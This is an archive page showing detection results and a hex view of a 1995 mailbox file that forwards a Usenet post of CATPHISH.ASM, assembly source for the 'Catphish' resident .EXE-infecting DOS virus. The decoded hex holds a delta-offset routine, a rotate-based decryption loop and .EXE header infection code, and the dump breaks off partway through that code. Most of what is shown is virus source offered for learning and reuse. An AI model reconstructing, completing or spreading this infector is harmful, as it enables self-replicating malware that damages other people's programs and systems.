home *** CD-ROM | disk | FTP | other *** search
open in: 
MacOS 8.1
|
Win98
|
DOS
view JSON data
|
view as text
This file was processed as: Mailbox/MIME Entity
(archive/mbox).
You can browse this item here: catphish.asm
| Confidence | Program | Detection | Match Type | Support
|
|---|
| 100%
| dexvert
| Mailbox/MIME Entity (archive/mbox)
| magic
| Supported |
| 100%
| dexvert
| Internet Message Format (text/imf)
| magic
| Supported |
| 100%
| dexvert
| Assembly Source File (text/asm)
| magic
| Supported |
| 1%
| dexvert
| freeCAD assembly (other/freeCADAssembly)
| ext
| Unsupported |
| 1%
| dexvert
| Text File (text/txt)
| fallback
| Supported |
| 100%
| file
| Mailbox text, 1st line "From smtp Sun Jan 29 16:25 EST 1995", ISO-8859 text, with CRLF, CR line terminators
| default
| |
| 100%
| TrID
| E-Mail message (Var. 2)
| default
| |
| 100%
| perlTextCheck
| Likely Text (Perl)
| default
| |
| 100%
| siegfried
| x-fmt/111 Plain Text File
| default
| |
| 100%
| detectItEasy
| Format: plain text[CRLF]
| default (weak)
| |
| 100%
| xdgMime
| application/mbox
| default
|
|
hex view+--------+-------------------------+-------------------------+--------+--------+
|00000000| 46 72 6f 6d 20 73 6d 74 | 70 20 53 75 6e 20 4a 61 |From smt|p Sun Ja|
|00000010| 6e 20 32 39 20 31 36 3a | 32 35 20 45 53 54 20 31 |n 29 16:|25 EST 1|
|00000020| 39 39 35 0d 0d 0a 52 65 | 63 65 69 76 65 64 3a 20 |995...Re|ceived: |
|00000030| 66 72 6f 6d 20 69 64 73 | 2e 6e 65 74 20 62 79 20 |from ids|.net by |
|00000040| 50 4f 42 4f 58 2e 6a 77 | 75 2e 65 64 75 3b 20 53 |POBOX.jw|u.edu; S|
|00000050| 75 6e 2c 20 32 39 20 4a | 61 6e 20 39 35 20 31 36 |un, 29 J|an 95 16|
|00000060| 3a 32 35 20 45 53 54 0d | 0d 0a 44 61 74 65 3a 20 |:25 EST.|..Date: |
|00000070| 53 75 6e 2c 20 32 39 20 | 4a 61 6e 20 31 39 39 35 |Sun, 29 |Jan 1995|
|00000080| 20 31 36 3a 31 38 3a 35 | 32 20 2d 30 35 30 30 20 | 16:18:5|2 -0500 |
|00000090| 28 45 53 54 29 0d 0d 0a | 46 72 6f 6d 3a 20 69 64 |(EST)...|From: id|
|000000a0| 73 2e 6e 65 74 21 4a 4f | 53 48 55 41 57 20 28 4a |s.net!JO|SHUAW (J|
|000000b0| 4f 53 48 55 41 57 29 0d | 0d 0a 54 6f 3a 20 70 6f |OSHUAW).|..To: po|
|000000c0| 62 6f 78 2e 6a 77 75 2e | 65 64 75 21 6a 6f 73 68 |box.jwu.|edu!josh|
|000000d0| 75 61 77 20 0d 0d 0a 43 | 6f 6e 74 65 6e 74 2d 4c |uaw ...C|ontent-L|
|000000e0| 65 6e 67 74 68 3a 20 31 | 31 38 37 34 0d 0d 0a 43 |ength: 1|1874...C|
|000000f0| 6f 6e 74 65 6e 74 2d 54 | 79 70 65 3a 20 74 65 78 |ontent-T|ype: tex|
|00000100| 74 0d 0d 0a 4d 65 73 73 | 61 67 65 2d 49 64 3a 20 |t...Mess|age-Id: |
|00000110| 3c 39 35 30 31 32 39 31 | 36 31 38 35 32 2e 31 30 |<9501291|61852.10|
|00000120| 30 37 34 40 69 64 73 2e | 6e 65 74 3e 0d 0d 0a 53 |074@ids.|net>...S|
|00000130| 74 61 74 75 73 3a 20 52 | 4f 0d 0d 0a 0d 0d 0a 54 |tatus: R|O......T|
|00000140| 6f 3a 20 6a 6f 73 68 75 | 61 77 40 70 6f 62 6f 78 |o: joshu|aw@pobox|
|00000150| 2e 6a 77 75 2e 65 64 75 | 0d 0d 0a 53 75 62 6a 65 |.jwu.edu|...Subje|
|00000160| 63 74 3a 20 28 66 77 64 | 29 20 43 41 54 50 48 49 |ct: (fwd|) CATPHI|
|00000170| 53 48 2e 41 53 4d 0d 0d | 0a 4e 65 77 73 67 72 6f |SH.ASM..|.Newsgro|
|00000180| 75 70 73 3a 20 61 6c 74 | 2e 63 6f 6d 70 2e 76 69 |ups: alt|.comp.vi|
|00000190| 72 75 73 0d 0d 0a 0d 0d | 0a 50 61 74 68 3a 20 70 |rus.....|.Path: p|
|000001a0| 61 70 65 72 62 6f 79 2e | 69 64 73 2e 6e 65 74 21 |aperboy.|ids.net!|
|000001b0| 75 75 6e 65 74 21 63 73 | 2e 75 74 65 78 61 73 2e |uunet!cs|.utexas.|
|000001c0| 65 64 75 21 75 77 6d 2e | 65 64 75 21 6d 73 75 6e |edu!uwm.|edu!msun|
|000001d0| 65 77 73 21 6e 65 77 73 | 2e 6d 74 75 2e 65 64 75 |ews!news|.mtu.edu|
|000001e0| 21 6e 65 77 73 2e 6d 74 | 75 2e 65 64 75 21 6e 6f |!news.mt|u.edu!no|
|000001f0| 74 2d 66 6f 72 2d 6d 61 | 69 6c 0d 0d 0a 46 72 6f |t-for-ma|il...Fro|
|00000200| 6d 3a 20 6a 64 6d 61 74 | 68 65 77 40 6d 74 75 2e |m: jdmat|hew@mtu.|
|00000210| 65 64 75 20 28 49 63 65 | 70 69 63 6b 29 0d 0d 0a |edu (Ice|pick)...|
|00000220| 4e 65 77 73 67 72 6f 75 | 70 73 3a 20 61 6c 74 2e |Newsgrou|ps: alt.|
|00000230| 63 6f 6d 70 2e 76 69 72 | 75 73 0d 0d 0a 53 75 62 |comp.vir|us...Sub|
|00000240| 6a 65 63 74 3a 20 43 41 | 54 50 48 49 53 48 2e 41 |ject: CA|TPHISH.A|
|00000250| 53 4d 0d 0d 0a 44 61 74 | 65 3a 20 32 36 20 4a 61 |SM...Dat|e: 26 Ja|
|00000260| 6e 20 31 39 39 35 20 31 | 33 3a 30 36 3a 31 35 20 |n 1995 1|3:06:15 |
|00000270| 2d 30 35 30 30 0d 0d 0a | 4f 72 67 61 6e 69 7a 61 |-0500...|Organiza|
|00000280| 74 69 6f 6e 3a 20 4d 69 | 63 68 69 67 61 6e 20 54 |tion: Mi|chigan T|
|00000290| 65 63 68 6e 6f 6c 6f 67 | 69 63 61 6c 20 55 6e 69 |echnolog|ical Uni|
|000002a0| 76 65 72 73 69 74 79 0d | 0d 0a 4c 69 6e 65 73 3a |versity.|..Lines:|
|000002b0| 20 34 38 36 0d 0d 0a 4d | 65 73 73 61 67 65 2d 49 | 486...M|essage-I|
|000002c0| 44 3a 20 3c 33 67 38 6f | 61 6e 24 35 34 67 40 6d |D: <3g8o|an$54g@m|
|000002d0| 61 78 77 65 6c 6c 31 31 | 2e 65 65 3e 0d 0d 0a 4e |axwell11|.ee>...N|
|000002e0| 4e 54 50 2d 50 6f 73 74 | 69 6e 67 2d 48 6f 73 74 |NTP-Post|ing-Host|
|000002f0| 3a 20 6d 61 78 77 65 6c | 6c 31 31 2e 65 65 2e 6d |: maxwel|l11.ee.m|
|00000300| 74 75 2e 65 64 75 0d 0d | 0a 58 2d 4e 65 77 73 72 |tu.edu..|.X-Newsr|
|00000310| 65 61 64 65 72 3a 20 54 | 49 4e 20 5b 76 65 72 73 |eader: T|IN [vers|
|00000320| 69 6f 6e 20 31 2e 32 20 | 50 4c 31 5d 0d 0d 0a 0d |ion 1.2 |PL1]....|
|00000330| 0d 0a 0d 0d 0a 0d 0d 0a | 6e 61 6d 65 20 20 20 20 |........|name |
|00000340| 56 49 52 55 53 54 45 53 | 54 0d 0d 0a 20 20 20 20 |VIRUSTES|T... |
|00000350| 20 20 20 20 74 69 74 6c | 65 0d 0d 0a 63 6f 64 65 | titl|e...code|
|00000360| 20 20 20 20 73 65 67 6d | 65 6e 74 0d 0d 0a 20 20 | segm|ent... |
|00000370| 20 20 20 20 20 20 61 73 | 73 75 6d 65 20 20 63 73 | as|sume cs|
|00000380| 3a 63 6f 64 65 2c 20 64 | 73 3a 63 6f 64 65 2c 20 |:code, d|s:code, |
|00000390| 65 73 3a 63 6f 64 65 0d | 0d 0a 20 20 20 20 20 20 |es:code.|.. |
|000003a0| 20 20 6f 72 67 20 20 20 | 20 20 31 30 30 68 0d 0d | org | 100h..|
|000003b0| 0a 0d 0d 0a 3b 2d 2b 2d | 2b 2d 2b 2d 2b 2d 2b 2d |....;-+-|+-+-+-+-|
|000003c0| 2b 2d 2b 2d 2b 2d 2b 2d | 2b 2d 2b 2d 2b 2d 2b 2d |+-+-+-+-|+-+-+-+-|
|000003d0| 2b 2d 2b 2d 2b 2d 2b 2d | 2b 2d 2b 2d 2b 2d 2b 2d |+-+-+-+-|+-+-+-+-|
|000003e0| 2b 2d 2b 2d 2b 2d 2b 2d | 2b 2d 2b 2d 2b 2d 2b 2d |+-+-+-+-|+-+-+-+-|
|000003f0| 2b 2d 2b 2d 2b 2d 2b 2d | 2b 2d 2b 2d 2b 2d 2b 2d |+-+-+-+-|+-+-+-+-|
|00000400| 2b 0d 0d 0a 3b 20 20 20 | 20 20 20 20 20 20 20 20 |+...; | |
|00000410| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 54 68 65 | | The|
|00000420| 20 43 61 74 70 68 69 73 | 68 20 56 69 72 75 73 2e | Catphis|h Virus.|
|00000430| 0d 0d 0a 3b 0d 0d 0a 3b | 20 20 20 54 68 65 20 43 |...;...;| The C|
|00000440| 61 74 70 68 69 73 68 20 | 76 69 72 75 73 20 69 73 |atphish |virus is|
|00000450| 20 61 20 72 65 73 69 64 | 65 6e 74 20 2e 45 58 45 | a resid|ent .EXE|
|00000460| 20 69 6e 66 65 63 74 6f | 72 2e 0d 0d 0a 3b 20 20 | infecto|r....; |
|00000470| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 53 69 | | Si|
|00000480| 7a 65 3a 20 36 37 38 20 | 62 79 74 65 73 20 28 64 |ze: 678 |bytes (d|
|00000490| 65 63 69 6d 61 6c 29 2e | 0d 0d 0a 3b 20 20 20 20 |ecimal).|...; |
|000004a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 4e 6f 20 61 | | No a|
|000004b0| 63 74 69 76 61 74 69 6f | 6e 20 28 62 6f 6d 62 29 |ctivatio|n (bomb)|
|000004c0| 2e 0d 0d 0a 3b 20 20 20 | 20 20 20 20 20 20 20 20 |....; | |
|000004d0| 20 20 20 20 20 53 61 76 | 65 73 20 64 61 74 65 20 | Sav|es date |
|000004e0| 61 6e 64 20 66 69 6c 65 | 20 61 74 74 72 69 62 75 |and file| attribu|
|000004f0| 74 65 73 2e 0d 0d 0a 3b | 0d 0d 0a 3b 20 20 20 20 |tes....;|...; |
|00000500| 20 20 20 20 20 49 66 20 | 61 73 73 65 6d 62 6c 69 | If |assembli|
|00000510| 6e 67 2c 20 63 68 65 63 | 6b 5f 69 66 5f 72 65 73 |ng, chec|k_if_res|
|00000520| 69 64 65 6e 74 20 6a 75 | 6d 70 20 6d 75 73 74 20 |ident ju|mp must |
|00000530| 62 65 20 6d 61 72 6b 65 | 64 20 6f 76 65 72 0d 0d |be marke|d over..|
|00000540| 0a 3b 20 20 20 20 20 20 | 20 20 20 20 20 77 69 74 |.; | wit|
|00000550| 68 20 6e 6f 70 20 61 66 | 74 65 72 20 66 69 72 73 |h nop af|ter firs|
|00000560| 74 20 65 78 65 63 75 74 | 69 6f 6e 20 28 66 69 72 |t execut|ion (fir|
|00000570| 73 74 20 65 78 65 63 75 | 74 69 6f 6e 20 77 69 6c |st execu|tion wil|
|00000580| 6c 20 68 61 6e 67 0d 0d | 0a 3b 20 20 20 20 20 20 |l hang..|.; |
|00000590| 20 20 20 20 20 73 79 73 | 74 65 6d 29 2e 0d 0d 0a | sys|tem)....|
|000005a0| 3b 0d 0d 0a 3b 20 20 20 | 20 20 20 20 20 20 2a 2a |;...; | **|
|000005b0| 2a 20 53 6f 75 72 63 65 | 20 69 73 20 6d 61 64 65 |* Source| is made|
|000005c0| 20 61 76 61 69 6c 61 62 | 6c 65 20 74 6f 20 6c 65 | availab|le to le|
|000005d0| 61 72 6e 20 66 72 6f 6d | 2c 20 6e 6f 74 20 74 6f |arn from|, not to|
|000005e0| 0d 0d 0a 3b 20 20 20 20 | 20 20 20 20 20 20 20 20 |...; | |
|000005f0| 20 20 20 63 68 61 6e 67 | 65 20 61 75 74 68 6f 72 | chang|e author|
|00000600| 27 73 20 6e 61 6d 65 20 | 61 6e 64 20 63 6c 61 69 |'s name |and clai|
|00000610| 6d 20 63 72 65 64 69 74 | 21 20 2a 2a 2a 0d 0d 0a |m credit|! ***...|
|00000620| 0d 0d 0a 73 74 61 72 74 | 3a 0d 0d 0a 20 20 20 20 |...start|:... |
|00000630| 20 20 20 20 63 61 6c 6c | 20 20 20 20 73 65 74 75 | call| setu|
|00000640| 70 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |p | |
|00000650| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 3b 20 | | ; |
|00000660| 46 69 6e 64 20 22 64 65 | 6c 74 61 20 6f 66 66 73 |Find "de|lta offs|
|00000670| 65 74 22 2e 0d 0d 0a 73 | 65 74 75 70 3a 0d 0d 0a |et"....s|etup:...|
|00000680| 20 20 20 20 20 20 20 20 | 70 6f 70 20 20 20 20 20 | |pop |
|00000690| 62 70 0d 0d 0a 20 20 20 | 20 20 20 20 20 73 75 62 |bp... | sub|
|000006a0| 20 20 20 20 20 62 70 2c | 20 6f 66 66 73 65 74 20 | bp,| offset |
|000006b0| 73 65 74 75 70 2d 31 30 | 30 68 0d 0d 0a 20 20 20 |setup-10|0h... |
|000006c0| 20 20 20 20 20 6a 6d 70 | 20 20 20 20 20 63 68 65 | jmp| che|
|000006d0| 63 6b 5f 69 66 5f 72 65 | 73 69 64 65 6e 74 20 20 |ck_if_re|sident |
|000006e0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|000006f0| 20 53 65 65 20 6e 6f 74 | 65 20 61 62 6f 76 65 20 | See not|e above |
|00000700| 61 62 6f 75 74 20 6a 6d | 70 21 0d 0d 0a 0d 0d 0a |about jm|p!......|
|00000710| 70 72 65 5f 64 65 63 5f | 65 6d 3a 0d 0d 0a 20 20 |pre_dec_|em:... |
|00000720| 20 20 20 20 20 20 6d 6f | 76 20 62 78 2c 6f 66 66 | mo|v bx,off|
|00000730| 73 65 74 20 69 6e 66 65 | 63 74 5f 68 65 61 64 65 |set infe|ct_heade|
|00000740| 72 2d 31 30 30 68 0d 0d | 0a 20 20 20 20 20 20 20 |r-100h..|. |
|00000750| 20 61 64 64 20 62 78 2c | 62 70 0d 0d 0a 20 20 20 | add bx,|bp... |
|00000760| 20 20 20 20 20 6d 6f 76 | 20 63 78 2c 65 6e 64 63 | mov| cx,endc|
|00000770| 72 79 70 74 2d 69 6e 66 | 65 63 74 5f 68 65 61 64 |rypt-inf|ect_head|
|00000780| 65 72 0d 0d 0a 0d 0d 0a | 72 6f 72 5f 65 6d 3a 0d |er......|ror_em:.|
|00000790| 0d 0a 20 20 20 20 20 20 | 20 20 6d 6f 76 20 64 6c |.. | mov dl|
|000007a0| 2c 62 79 74 65 20 70 74 | 72 20 63 73 3a 5b 62 78 |,byte pt|r cs:[bx|
|000007b0| 5d 0d 0d 0a 20 20 20 20 | 20 20 20 20 72 6f 72 20 |]... | ror |
|000007c0| 64 6c 2c 31 20 20 20 20 | 20 20 20 20 20 20 20 20 |dl,1 | |
|000007d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000007e0| 20 20 20 20 20 20 3b 20 | 44 65 63 72 79 70 74 20 | ; |Decrypt |
|000007f0| 76 69 72 75 73 20 63 6f | 64 65 0d 0d 0a 20 20 20 |virus co|de... |
|00000800| 20 20 20 20 20 6d 6f 76 | 20 62 79 74 65 20 70 74 | mov| byte pt|
|00000810| 72 20 63 73 3a 5b 62 78 | 5d 2c 64 6c 20 20 20 20 |r cs:[bx|],dl |
|00000820| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|00000830| 20 20 20 62 79 20 72 6f | 74 61 74 69 6e 67 20 72 | by ro|tating r|
|00000840| 69 67 68 74 2e 0d 0d 0a | 20 20 20 20 20 20 20 20 |ight....| |
|00000850| 69 6e 63 20 62 78 0d 0d | 0a 20 20 20 20 20 20 20 |inc bx..|. |
|00000860| 20 6c 6f 6f 70 20 72 6f | 72 5f 65 6d 0d 0d 0a 0d | loop ro|r_em....|
|00000870| 0d 0a 20 20 20 20 20 20 | 20 20 6a 6d 70 20 63 68 |.. | jmp ch|
|00000880| 65 63 6b 5f 69 66 5f 72 | 65 73 69 64 65 6e 74 0d |eck_if_r|esident.|
|00000890| 0d 0a 0d 0d 0a 3b 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |.....;--|--------|
|000008a0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000008b0| 2d 2d 2d 2d 2d 2d 2d 20 | 49 6e 66 65 63 74 20 2e |------- |Infect .|
|000008c0| 45 58 45 20 68 65 61 64 | 65 72 20 2d 2d 2d 2d 2d |EXE head|er -----|
|000008d0| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|000008e0| 2d 2d 0d 0d 0a 3b 20 20 | 20 54 68 65 20 2e 45 58 |--...; | The .EX|
|000008f0| 45 20 68 65 61 64 65 72 | 20 6d 6f 64 69 66 79 69 |E header| modifyi|
|00000900| 6e 67 20 63 6f 64 65 20 | 62 65 6c 6f 77 20 69 73 |ng code |below is|
|00000910| 20 6d 79 20 72 65 77 6f | 72 6b 65 64 20 76 65 72 | my rewo|rked ver|
|00000920| 73 69 6f 6e 20 6f 66 0d | 0d 0a 3b 20 20 20 20 20 |sion of.|..; |
|00000930| 44 61 72 6b 20 41 6e 67 | 65 6c 27 73 20 63 6f 64 |Dark Ang|el's cod|
|00000940| 65 20 66 6f 75 6e 64 20 | 69 6e 20 68 69 73 20 50 |e found |in his P|
|00000950| 68 61 6c 63 6f 6e 2f 53 | 6b 69 73 6d 20 76 69 72 |halcon/S|kism vir|
|00000960| 75 73 20 67 75 69 64 65 | 73 2e 0d 0d 0a 0d 0d 0a |us guide|s.......|
|00000970| 0d 0d 0a 69 6e 66 65 63 | 74 5f 68 65 61 64 65 72 |...infec|t_header|
|00000980| 3a 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 70 75 |:... | pu|
|00000990| 73 68 20 62 78 0d 0d 0a | 20 20 20 20 20 20 20 20 |sh bx...| |
|000009a0| 20 20 70 75 73 68 20 64 | 78 0d 0d 0a 20 20 20 20 | push d|x... |
|000009b0| 20 20 20 20 20 20 70 75 | 73 68 20 61 78 0d 0d 0a | pu|sh ax...|
|000009c0| 0d 0d 0a 0d 0d 0a 0d 0d | 0a 20 20 20 20 20 20 20 |........|. |
|000009d0| 20 20 20 6d 6f 76 20 20 | 20 20 20 62 78 2c 20 77 | mov | bx, w|
|000009e0| 6f 72 64 20 70 74 72 20 | 5b 62 75 66 66 65 72 2b |ord ptr |[buffer+|
|000009f0| 38 2d 31 30 30 68 5d 20 | 20 20 20 3b 20 48 65 61 |8-100h] | ; Hea|
|00000a00| 64 65 72 20 73 69 7a 65 | 20 69 6e 20 70 61 72 61 |der size| in para|
|00000a10| 67 72 61 70 68 73 0d 0d | 0a 20 20 20 20 20 20 20 |graphs..|. |
|00000a20| 20 20 20 20 20 20 20 20 | 3b 20 20 5e 2d 2d 2d 6d | |; ^---m|
|00000a30| 61 6b 65 20 73 75 72 65 | 20 79 6f 75 20 64 6f 6e |ake sure| you don|
|00000a40| 27 74 20 64 65 73 74 72 | 6f 79 20 74 68 65 20 66 |'t destr|oy the f|
|00000a50| 69 6c 65 20 68 61 6e 64 | 6c 65 0d 0d 0a 20 20 20 |ile hand|le... |
|00000a60| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 63 | m|ov c|
|00000a70| 6c 2c 20 34 20 20 20 20 | 20 20 20 20 20 20 20 20 |l, 4 | |
|00000a80| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|00000a90| 20 4d 75 6c 74 69 70 6c | 79 20 62 79 20 31 36 2e | Multipl|y by 16.|
|00000aa0| 20 20 57 6f 6e 27 74 0d | 0d 0a 20 20 20 20 20 20 | Won't.|.. |
|00000ab0| 20 20 20 20 73 68 6c 20 | 20 20 20 20 62 78 2c 20 | shl | bx, |
|00000ac0| 63 6c 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |cl | |
|00000ad0| 20 20 20 20 20 20 20 20 | 20 20 20 20 3b 20 77 6f | | ; wo|
|00000ae0| 72 6b 20 77 69 74 68 20 | 68 65 61 64 65 72 73 20 |rk with |headers |
|00000af0| 3e 20 34 30 39 36 0d 0d | 0a 20 20 20 20 20 20 20 |> 4096..|. |
|00000b00| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000b10| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000b20| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 62 79 74 | | ; byt|
|00000b30| 65 73 2e 20 20 4f 68 20 | 77 65 6c 6c 21 0d 0d 0a |es. Oh |well!...|
|00000b40| 20 20 20 20 20 20 20 20 | 20 20 73 75 62 20 20 20 | | sub |
|00000b50| 20 20 61 78 2c 20 62 78 | 20 20 20 20 20 20 20 20 | ax, bx| |
|00000b60| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000b70| 20 20 3b 20 53 75 62 74 | 72 61 63 74 20 68 65 61 | ; Subt|ract hea|
|00000b80| 64 65 72 20 73 69 7a 65 | 20 66 72 6f 6d 0d 0d 0a |der size| from...|
|00000b90| 20 20 20 20 20 20 20 20 | 20 20 73 62 62 20 20 20 | | sbb |
|00000ba0| 20 20 64 78 2c 20 30 20 | 20 20 20 20 20 20 20 20 | dx, 0 | |
|00000bb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000bc0| 20 20 3b 20 66 69 6c 65 | 20 73 69 7a 65 0d 0d 0a | ; file| size...|
|00000bd0| 20 20 20 20 3b 20 4e 6f | 77 20 44 58 3a 41 58 20 | ; No|w DX:AX |
|00000be0| 69 73 20 6c 6f 61 64 65 | 64 20 77 69 74 68 20 66 |is loade|d with f|
|00000bf0| 69 6c 65 20 73 69 7a 65 | 20 6d 69 6e 75 73 20 68 |ile size| minus h|
|00000c00| 65 61 64 65 72 20 73 69 | 7a 65 0d 0d 0a 20 20 20 |eader si|ze... |
|00000c10| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 63 | m|ov c|
|00000c20| 78 2c 20 31 30 68 20 20 | 20 20 20 20 20 20 20 20 |x, 10h | |
|00000c30| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 3b | | ;|
|00000c40| 20 44 58 3a 41 58 2f 43 | 58 20 3d 20 41 58 20 52 | DX:AX/C|X = AX R|
|00000c50| 65 6d 61 69 6e 64 65 72 | 20 44 58 0d 0d 0a 20 20 |emainder| DX... |
|00000c60| 20 20 20 20 20 20 20 20 | 64 69 76 20 20 20 20 20 | |div |
|00000c70| 63 78 0d 0d 0a 0d 0d 0a | 0d 0d 0a 20 20 20 20 20 |cx......|... |
|00000c80| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 77 6f 72 | mov| wor|
|00000c90| 64 20 70 74 72 20 5b 62 | 75 66 66 65 72 2b 31 34 |d ptr [b|uffer+14|
|00000ca0| 68 2d 31 30 30 68 5d 2c | 20 64 78 20 20 3b 20 49 |h-100h],| dx ; I|
|00000cb0| 50 20 4f 66 66 73 65 74 | 0d 0d 0a 20 20 20 20 20 |P Offset|... |
|00000cc0| 20 20 20 20 20 6d 6f 76 | 20 20 20 20 20 77 6f 72 | mov| wor|
|00000cd0| 64 20 70 74 72 20 5b 62 | 75 66 66 65 72 2b 31 36 |d ptr [b|uffer+16|
|00000ce0| 68 2d 31 30 30 68 5d 2c | 20 61 78 20 20 3b 20 43 |h-100h],| ax ; C|
|00000cf0| 53 20 44 69 73 70 6c 61 | 63 65 6d 65 6e 74 20 69 |S Displa|cement i|
|00000d00| 6e 20 6d 6f 64 75 6c 65 | 0d 0d 0a 0d 0d 0a 0d 0d |n module|........|
|00000d10| 0a 20 20 20 20 20 20 20 | 20 20 20 6d 6f 76 20 20 |. | mov |
|00000d20| 20 20 20 77 6f 72 64 20 | 70 74 72 20 5b 62 75 66 | word |ptr [buf|
|00000d30| 66 65 72 2b 30 45 68 2d | 31 30 30 68 5d 2c 20 61 |fer+0Eh-|100h], a|
|00000d40| 78 20 20 20 20 20 3b 20 | 50 61 72 61 67 72 61 70 |x ; |Paragrap|
|00000d50| 68 20 64 69 73 70 2e 20 | 53 53 0d 0d 0a 20 20 20 |h disp. |SS... |
|00000d60| 20 20 20 20 20 20 20 6d | 6f 76 20 20 20 20 20 77 | m|ov w|
|00000d70| 6f 72 64 20 70 74 72 20 | 5b 62 75 66 66 65 72 2b |ord ptr |[buffer+|
|00000d80| 31 30 68 2d 31 30 30 68 | 5d 2c 20 30 41 30 30 30 |10h-100h|], 0A000|
|00000d90| 68 20 3b 20 53 74 61 72 | 74 69 6e 67 20 53 50 0d |h ; Star|ting SP.|
|00000da0| 0d 0a 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 70 |..... | p|
|00000db0| 6f 70 20 61 78 0d 0d 0a | 20 20 20 20 20 20 20 20 |op ax...| |
|00000dc0| 20 20 70 6f 70 20 64 78 | 0d 0d 0a 0d 0d 0a 20 20 | pop dx|...... |
|00000dd0| 20 20 20 20 20 20 20 20 | 61 64 64 20 61 78 2c 20 | |add ax, |
|00000de0| 65 6e 64 63 6f 64 65 2d | 73 74 61 72 74 20 20 20 |endcode-|start |
|00000df0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00000e00| 3b 20 61 64 64 20 76 69 | 72 75 73 20 73 69 7a 65 |; add vi|rus size|
|00000e10| 0d 0d 0a 20 20 20 20 20 | 20 20 20 20 20 63 6d 70 |... | cmp|
|00000e20| 20 61 78 2c 20 65 6e 64 | 63 6f 64 65 2d 73 74 61 | ax, end|code-sta|
|00000e30| 72 74 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 6a |rt... | j|
|00000e40| 62 20 66 69 78 5f 66 61 | 75 6c 74 0d 0d 0a 20 20 |b fix_fa|ult... |
|00000e50| 20 20 20 20 20 20 20 20 | 6a 6d 70 20 65 78 65 63 | |jmp exec|
|00000e60| 6f 6e 74 0d 0d 0a 0d 0d | 0a 0d 0d 0a 77 61 72 5f |ont.....|....war_|
|00000e70| 63 72 79 20 20 64 62 20 | 27 43 72 79 20 48 61 76 |cry db |'Cry Hav|
|00000e80| 6f 63 2c 20 61 6e 64 20 | 6c 65 74 20 73 6c 69 70 |oc, and |let slip|
|00000e90| 20 74 68 65 20 44 6f 67 | 73 20 6f 66 20 57 61 72 | the Dog|s of War|
|00000ea0| 21 27 2c 30 0d 0d 0a 76 | 5f 6e 61 6d 65 20 20 20 |!',0...v|_name |
|00000eb0| 64 62 20 27 5b 43 61 74 | 70 68 69 73 68 5d 27 2c |db '[Cat|phish]',|
|00000ec0| 30 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |0 | |
|00000ed0| 20 20 20 20 20 20 20 20 | 20 3b 20 56 69 72 75 73 | | ; Virus|
|00000ee0| 20 6e 61 6d 65 2e 0d 0d | 0a 76 5f 61 75 74 68 6f | name...|.v_autho|
|00000ef0| 72 20 64 62 20 27 46 69 | 72 73 74 53 74 72 69 6b |r db 'Fi|rstStrik|
|00000f00| 65 27 2c 30 20 20 20 20 | 20 20 20 20 20 20 20 20 |e',0 | |
|00000f10| 20 20 20 20 20 20 20 20 | 20 20 20 3b 20 4d 65 2e | | ; Me.|
|00000f20| 0d 0d 0a 76 5f 73 74 75 | 66 66 20 20 64 62 20 27 |...v_stu|ff db '|
|00000f30| 4b 72 61 66 74 21 27 2c | 30 0d 0d 0a 0d 0d 0a 0d |Kraft!',|0.......|
|00000f40| 0d 0a 66 69 78 5f 66 61 | 75 6c 74 3a 0d 0d 0a 20 |..fix_fa|ult:... |
|00000f50| 20 20 20 20 20 20 20 20 | 20 61 64 64 20 64 78 2c | | add dx,|
|00000f60| 31 64 0d 0d 0a 0d 0d 0a | 65 78 65 63 6f 6e 74 3a |1d......|execont:|
|00000f70| 0d 0d 0a 20 20 20 20 20 | 20 20 20 20 20 70 75 73 |... | pus|
|00000f80| 68 20 61 78 0d 0d 0a 20 | 20 20 20 20 20 20 20 20 |h ax... | |
|00000f90| 20 6d 6f 76 20 63 6c 2c | 20 39 0d 0d 0a 20 20 20 | mov cl,| 9... |
|00000fa0| 20 20 20 20 20 20 20 73 | 68 72 20 61 78 2c 20 63 | s|hr ax, c|
|00000fb0| 6c 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 72 6f |l... | ro|
|00000fc0| 72 20 64 78 2c 20 63 6c | 0d 0d 0a 20 20 20 20 20 |r dx, cl|... |
|00000fd0| 20 20 20 20 20 73 74 63 | 0d 0d 0a 0d 0d 0a 20 20 | stc|...... |
|00000fe0| 20 20 20 20 20 20 20 20 | 61 64 63 20 64 78 2c 20 | |adc dx, |
|00000ff0| 61 78 0d 0d 0a 20 20 20 | 20 20 20 20 20 20 20 70 |ax... | p|
|00001000| 6f 70 20 61 78 0d 0d 0a | 20 20 20 20 20 20 20 20 |op ax...| |
|00001010| 20 20 61 6e 64 20 61 68 | 2c 20 31 0d 0d 0a 0d 0d | and ah|, 1.....|
|00001020| 0a 0d 0d 0a 20 20 20 20 | 20 20 20 20 20 20 6d 6f |.... | mo|
